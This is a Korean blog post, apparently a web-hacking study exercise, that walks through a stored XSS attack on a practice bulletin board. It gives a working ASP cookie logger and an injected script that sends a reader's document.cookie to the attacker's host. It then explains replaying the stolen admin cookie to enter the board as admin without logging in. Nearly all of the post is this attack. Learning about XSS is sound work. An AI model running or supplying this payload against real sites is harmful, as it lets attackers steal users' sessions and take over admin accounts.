xss 공격 실습해보겠습니다.
일단 공격스크립트가 포함된 게시물을 읽어야 하기 때문에 .asp로 된 파일을 하나 생성합니다.
<%
testfile=server.MapPath("getcookie.txt") = > 쿠키값을 getcookie.txt파일로 저장합니다.
msg=request("msg")
set fs=server.CreateObject("scripting.FileSystemObject")
set thisfile=fs.OpenTextFile(testfile,8,true,0)
thisfile.writeline(""&msg&"")
thisfile.close
set fs=nothing
%>
간단히 메모장을 열어 공격자 pc에서 작성하시면됩니다.
시나리오로는 이 xss공격 스크립트가 입력된 게시물을 admin이 읽으면 admin의 쿠키값이 getcookie.txt 파일에 저장되고 공격자는 이 쿠키값을 이요해 admin 계정권한으로 게시판에 접근하는 것입니다.
그럼 공격자 pc에서 일반유저로
제목 Xss attack을 만들고 파일첨부에 getcookie.asp파일을 올립니다.
올리고 경로를 확인하셔야 됩니다.
파일다운 : getcookie.asp에서 오른쪽클릭 속성에서 경로를 복사한후 메모장에 붙여두십니다.
업로드된 위치에 ip주소와 경로가 나올 것입니다. 그 다음 게시물을 수정해서 공격 스크립트를 입력해야 합니다
수정을 눌러서
<screipt>document.location="http://IP주소/board/pds/getcookie.asp?msg="+document.cookie</script>을 입력해주고 수정 작업을 완료합니다.
그후 로그아웃에서
다시 admin으로 로그인해 Xss Attack이란 게시물을 읽습니다.
익스플로러창에 아무것도 뜨지않고 상태표시줄에 완료라 뜨면 xss공격이 성공한것입니다
다시 공격자 pc로 돌아갑니다.
업로드한 경로와 같은곳에 getcookie.txt파일이 생성이 될것입니다.
그럼 주소창에
http://ipaddress/board/pds/getcookie.txt를 입력하면 admin으로부터 획득한 쿠키값이 보입니다.
이 쿠키값을 복사하여 cooxie toolbar를 사용하여
설정한후 주소창에
http://ip주소/board/board_list.asp를 입력해보면
로그인 과정없이 게시판 리스트를 볼수있고
계정이 admin으로 된것을 볼수 있습니다.
만약
쿠키값을 다른 유저로 얻어오면 똑같이 리스트를 보되 쿠키값을 가져온 유저로 로그인이 될것입니다.
[출처] No.4 XSS 공격 실습|작성자 Securely
'Security > Web Hacking' 카테고리의 다른 글
No.6 SQL인젝션 알아보기 (0) | 2012.07.11 |
---|---|
No.5 WebHacking의 시작 WebGoat설치 (0) | 2012.07.11 |
No.3 OWASP Top 10 2010 한글판 (0) | 2012.07.11 |
No.2 웹 service란 ? (0) | 2012.07.11 |
No.1 HTTP에 대하여 . . (0) | 2012.07.11 |